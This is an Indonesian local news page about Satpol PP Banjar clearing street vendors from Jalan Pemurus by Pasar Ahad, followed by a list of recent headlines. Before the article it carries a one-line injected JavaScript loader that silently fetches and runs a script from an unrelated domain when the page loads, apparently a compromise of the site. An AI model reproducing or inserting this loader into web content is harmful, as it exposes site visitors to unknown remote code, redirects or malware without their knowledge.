(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Satpol PP Banjar Tertibkan PKL di Jalan Pemurus Pasar Ahad


MARTAPURA, Setelah Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar sebarkan surat edaran imbauan berdagang kepada Pedagang Kaki Lima (PKL) di lingkungan Pasar Ahad pada Jumat (1/2) lalu, sebanyak 30 porsonel Satpol PP Banjar diturunkan pantau PKL yang masih membandel, Senin (4/2) pagi.

“Pada hari ini kita menurunkan 30 porsenil untuk memantau langsung kehadiran PKL, Allhamdulillah hari ini sudah tidak ada lagi PKL yang dimaksud,” ujar Kabid Tantribum Satpol PP Banjar, Asian Bandani.

Surat edaran ini dikeluarkan berdasarkan protes pegadang dan warga di sekitar Pasar Ahad yang tidak menyetujui kehadiran pasar liar di sekitar lokasi usaha mereka. Mengingat pasar liar itu dianggap “menyaingi” dan bertengger di lingkungan pasar sepanjang jalan Pemurus Kertak Hanyar.

Kehadiran PKL dianggap berdampak terhadap menurunnya omset pedagang resmi. Mengingat banyak konsumen yang lebih memilih berbelanja ke pasar liar di jalan Pemurus itu ketimbang masuk ke dalam Pasar Ahad.

Lebih jauh Asian mengatakan, terhitung sejak Senin (4/2), PKL sudah tidak diperkenankan lagi berada di sepanjang jalan Pemurus Kertak Hanyar itu. Apabila masih dijumpai, Satpol PP Banjar akan bertindak tegas.

“Patroli ini kita lakukan berdasarkan lanjutan dari surah himbauan kita kemarin, kita akan laksanakan rutin patroli setiap pagi, kalau masih ada PKL yang membandel, kita tidak akan tegas menertibkan, karena ini sudah beberapa kali kita peringatkan,” tegasnya.

Sementara kendala selama ini masih seperti kemarin, Asian menyebut untuk PKL yang berjualan di halaman rumah, bukan bagian dari kewenangan Satpol PP Banjar karena yang lebih berwenang adalah Dinas Perindustrian dan Perdagangan (Disperindag) Kabupaten Banjar.

“Kami hanya menertibkan PKL yang ada di jalan Pemurus Kertak Hanyar untuk yang berada di halaman rumah warga,.itu kewenangannya Disperindag Banjar untuk melakukan pembinaan,” pungkasnya. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

2 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

2 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

4 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

7 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

19 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

21 jam ago

This website uses cookies.